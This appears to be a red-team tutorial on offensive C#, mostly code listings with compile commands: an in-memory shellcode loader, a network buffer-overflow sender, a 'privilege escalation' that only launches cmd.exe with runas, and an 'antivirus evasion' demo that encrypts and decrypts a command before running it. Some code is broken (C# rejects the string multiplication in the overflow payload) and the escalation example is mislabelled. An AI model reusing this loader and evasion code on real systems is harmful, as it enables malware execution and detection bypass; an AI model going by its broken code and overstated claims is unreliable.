Offensive C Sharp (C#)

Introduction to Offensive C Sharp

C Sharp is a powerful and versatile language for an Offensive Red Teamers. It allows for the creation of sophisticated tools and exploits that can bypass modern security defenses. Unlike traditional languages used in offensive security, C Sharp provides the advantages of a robust development environment, extensive libraries, and seamless integration with Windows environments. This makes it an ideal choice for developing custom security tools, payloads, and scripts that can be used in red teaming and penetration testing exercises.

Why Offensive C Sharp is Awesome

Robust Development Environment

• Visual Studio and the .NET framework provide a powerful and user-friendly development environment, making it easier to write, debug, and maintain complex code.

Extensive Libraries and APIs

• C Sharp offers access to a vast array of libraries and APIs, allowing developers to create sophisticated tools that can interact with various system components and network protocols.

Seamless Windows Integration

• As a language developed by Microsoft, C Sharp integrates seamlessly with Windows operating systems, making it an ideal choice for developing tools that target Windows environments.

Performance and Efficiency

• C Sharp provides high performance and efficiency, allowing for the development of tools that can operate quickly and effectively, even in resource-constrained environments.

Growing Community and Resources

• The C Sharp community is continuously growing, with numerous resources, forums, and tutorials available to help developers enhance their skills and stay updated with the latest trends and techniques in offensive security.

What an Offensive Red Teamer Can Do with C Sharp

C Sharp (C#) offers a wealth of capabilities for offensive red teamers, allowing them to craft sophisticated tools and techniques to test and bypass security measures. Here are some specific activities and examples of what a red teamer can achieve using C Sharp:

Payload Development

Example: Custom Shellcode Loader

using System;
using System.Runtime.InteropServices;

namespace OffensiveCSharp
{
    class ShellcodeLoader
    {
        [DllImport("kernel32.dll")]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        static void Main(string[] args)
        {
            byte[] shellcode = new byte[] {
                // Add your shellcode here
            };

            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000, 0x40);
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

Output:

• Shellcode is loaded and executed in memory, demonstrating a basic shellcode loader.

How to Compile:

1. Save the code to a file named ShellcodeLoader.cs.

2. Open a command prompt and navigate to the directory containing ShellcodeLoader.cs.

3. Run the following command to compile the code:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:D:\RTG\ShellcodeLoader.exe D:\RTG\ShellcodeLoader.cs

4. The compiled executable will be named ShellcodeLoader.exe and located in D:\RTG.

Expected Output Screenshot:

• No visible output, but the shellcode should execute in memory.

Exploit Development

Example: Buffer Overflow Exploit

using System;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace OffensiveCSharp
{
    class BufferOverflowExploit
    {
        static void Main(string[] args)
        {
            string target = "192.168.1.100";
            int port = 8080;
            string payload = new string('A', 260) + "B" * 4 + "\x90\x90\x90\x90"; // Example buffer overflow payload

            try
            {
                TcpClient client = new TcpClient(target, port);
                NetworkStream stream = client.GetStream();
                byte[] data = Encoding.ASCII.GetBytes(payload);
                stream.Write(data, 0, data.Length);

                byte[] responseData = new byte[256];
                int bytes = stream.Read(responseData, 0, responseData.Length);
                Console.WriteLine("Received: {0}", Encoding.ASCII.GetString(responseData, 0, bytes));

                stream.Close();
                client.Close();
            }
            catch (Exception e)
            {
                Console.WriteLine("Exception: {0}", e);
            }
        }
    }
}

Output:

• The buffer overflow exploit is sent to the target server, and the response from the server is displayed, demonstrating the successful interaction with the target system.

How to Compile:

1. Save the code to a file named BufferOverflowExploit.cs.

2. Open a command prompt and navigate to the directory containing BufferOverflowExploit.cs.

3. Run the following command to compile the code:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:D:\RTG\BufferOverflowExploit.exe D:\RTG\BufferOverflowExploit.cs

4. The compiled executable will be named BufferOverflowExploit.exe and located in D:\RTG.

Post-Exploitation Activities

Example: Privilege Escalation

using System;
using System.Diagnostics;

namespace OffensiveCSharp
{
    class PrivilegeEscalation
    {
        static void Main(string[] args)
        {
            try
            {
                ProcessStartInfo procInfo = new ProcessStartInfo();
                procInfo.UseShellExecute = true;
                procInfo.WorkingDirectory = Environment.CurrentDirectory;
                procInfo.FileName = "cmd.exe";
                procInfo.Verb = "runas"; // Run as administrator

                Process proc = Process.Start(procInfo);
                proc.WaitForExit();
            }
            catch (Exception e)
            {
                Console.WriteLine("Exception: {0}", e);
            }
        }
    }
}

Output:

• A command prompt with administrative privileges is launched, demonstrating successful privilege escalation.

How to Compile:

1. Save the code to a file named PrivilegeEscalation.cs.

2. Open a command prompt and navigate to the directory containing PrivilegeEscalation.cs.

3. Run the following command to compile the code:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:D:\PrivilegeEscalation.exe D:\priv.cs

cmd.exe with Admin priv. has been popped up

OffensiveTools/PrivilegeEscalation.exe at main · sartlabs/OffensiveToolsGitHub

Bypassing Security Mechanisms

Example: Antivirus Evasion

 using System;
using System.Text;
using System.Security.Cryptography;

namespace OffensiveCSharp
{
    class AntivirusEvasion
    {
        static void Main(string[] args)
        {
            string command = "calc.exe"; // Command to execute
            string key = "thisisaverysecret"; // Ensure the key length is 16 bytes
            string salt = "somesaltvalue"; // Ensure the salt length is at least 8 bytes
            string encryptedCommand = Encrypt(command, key, salt);

            Console.WriteLine("Encrypted Command: " + encryptedCommand);

            string decryptedCommand = Decrypt(encryptedCommand, key, salt);
            Console.WriteLine("Decrypted Command: " + decryptedCommand);

            System.Diagnostics.Process.Start(decryptedCommand);
        }

        public static string Encrypt(string text, string key, string salt)
        {
            byte[] textBytes = Encoding.UTF8.GetBytes(text);
            byte[] keyBytes = new Rfc2898DeriveBytes(key, Encoding.UTF8.GetBytes(salt), 1000).GetBytes(16);
            byte[] encryptedBytes;

            using (Aes aes = Aes.Create())
            {
                aes.Key = keyBytes;
                aes.GenerateIV();
                aes.Mode = CipherMode.CBC;

                using (ICryptoTransform encryptor = aes.CreateEncryptor())
                {
                    encryptedBytes = encryptor.TransformFinalBlock(textBytes, 0, textBytes.Length);
                }

                byte[] result = new byte[aes.IV.Length + encryptedBytes.Length];
                Array.Copy(aes.IV, 0, result, 0, aes.IV.Length);
                Array.Copy(encryptedBytes, 0, result, aes.IV.Length, encryptedBytes.Length);

                return Convert.ToBase64String(result);
            }
        }

        public static string Decrypt(string encryptedText, string key, string salt)
        {
            byte[] encryptedBytes = Convert.FromBase64String(encryptedText);
            byte[] keyBytes = new Rfc2898DeriveBytes(key, Encoding.UTF8.GetBytes(salt), 1000).GetBytes(16);
            byte[] iv = new byte[16];
            byte[] textBytes = new byte[encryptedBytes.Length - 16];

            Array.Copy(encryptedBytes, 0, iv, 0, iv.Length);
            Array.Copy(encryptedBytes, iv.Length, textBytes, 0, textBytes.Length);

            using (Aes aes = Aes.Create())
            {
                aes.Key = keyBytes;
                aes.IV = iv;
                aes.Mode = CipherMode.CBC;

                using (ICryptoTransform decryptor = aes.CreateDecryptor())
                {
                    byte[] result = decryptor.TransformFinalBlock(textBytes, 0, textBytes.Length);
                    return Encoding.UTF8.GetString(result);
                }
            }
        }
    }
}   

Output:

• The command calc.exe is encrypted and then decrypted before execution, demonstrating basic antivirus evasion by avoiding direct detection of the command string.

How to Compile:

1. Save the code to a file named AntivirusEvasion.cs.

2. Open a command prompt and navigate to the directory containing AntivirusEvasion.cs.

3. Run the following command to compile the code:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:D:\RTG\AntivirusEvasion.exe D:\RTG\AntivirusEvasion.cs

4. The compiled executable will be named AntivirusEvasion.exe and located in D:\RTG

Calc.exe popped up as a result of the encrypted command execution.

OffensiveTools/AntivirusEvasion.exe at main · sartlabs/OffensiveToolsGitHub